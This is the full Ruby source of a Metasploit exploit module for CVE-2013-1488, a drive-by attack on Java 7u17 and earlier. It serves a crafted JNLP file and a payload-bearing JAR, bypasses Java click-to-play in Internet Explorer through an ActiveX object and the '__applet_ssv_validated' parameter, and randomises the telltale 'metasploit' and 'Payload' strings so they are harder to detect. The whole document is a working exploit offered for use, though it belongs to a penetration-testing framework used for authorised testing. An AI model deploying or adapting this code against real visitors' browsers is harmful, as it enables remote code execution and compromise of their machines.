Java Applet Driver Manager Privileged toString() Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution',  
'Description' => %q{  
This module abuses the java.sql.DriverManager class where the toString() method  
is called over user supplied classes, from a doPrivileged block. The vulnerability  
affects Java version 7u17 and earlier. This exploit bypasses click-to-play on IE  
throw a specially crafted JNLP file. This bypass is applied mainly to IE, when Java  
Web Start can be launched automatically throw the ActiveX control. Otherwise the  
applet is launched without click-to-play bypass.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Forshaw', # Vulnerability discovery and Analysis  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-1488' ],  
[ 'OSVDB', '91472' ],  
[ 'BID', '58504' ],  
[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],  
[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-076/' ]  
],  
'Platform' => [ 'java', 'win', 'osx', 'linux' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 10 2013'  
))  
end  
  
  
def setup  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "Exploit.class")  
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver.class")  
@driver_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "FakeDriver2.class")  
@driver2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object")  
@object_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver")  
@driver_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
  
@exploit_class_name = rand_text_alpha("Exploit".length)  
@exploit_class.gsub!("Exploit", @exploit_class_name)  
  
@jnlp_name = rand_text_alpha(8)  
  
super  
end  
  
def jnlp_file  
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"  
  
jnlp = %Q|  
<?xml version="1.0" encoding="utf-8"?>  
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">  
<information>  
<title>Applet Test JNLP</title>  
<vendor>#{rand_text_alpha(8)}</vendor>  
<description>#{rand_text_alpha(8)}</description>  
<offline-allowed/>  
</information>  
  
<resources>  
<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />  
<jar href="#{rand_text_alpha(8)}.jar" main="true" />  
</resources>  
<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">  
<param name="__applet_ssv_validated" value="true"></param>  
</applet-desc>  
<update check="background"/>  
</jnlp>  
|  
return jnlp  
end  
  
def on_request_uri(cli, request)  
print_status("handling request for #{request.uri}")  
  
case request.uri  
when /\.jnlp$/i  
send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })  
when /\.jar$/i  
jar = payload.encoded_jar  
jar.add_file("#{@exploit_class_name}.class", @exploit_class)  
jar.add_file("FakeDriver.class", @driver_class)  
jar.add_file("FakeDriver2.class", @driver2_class)  
jar.add_file("META-INF/services/java.lang.Object", @object_services)  
jar.add_file("META-INF/services/java.sql.Driver", @driver_services)  
metasploit_str = rand_text_alpha("metasploit".length)  
payload_str = rand_text_alpha("payload".length)  
jar.entries.each { |entry|  
entry.name.gsub!("metasploit", metasploit_str)  
entry.name.gsub!("Payload", payload_str)  
entry.data = entry.data.gsub("metasploit", metasploit_str)  
entry.data = entry.data.gsub("Payload", payload_str)  
}  
jar.build_manifest  
  
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })  
when /\/$/  
payload = regenerate_payload(cli)  
if not payload  
print_error("Failed to generate the payload.")  
send_not_found(cli)  
return  
end  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
else  
send_redirect(cli, get_resource() + '/', '')  
end  
  
end  
  
def generate_html  
jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"  
  
# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass  
# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass  
html = %Q|  
<html>  
<body>  
<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>  
<param name="app" value="#{jnlp_uri}">  
<param name="back" value="true">  
<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>  
</object>  
</body>  
</html>  
|  
return html  
end  
  
end  
`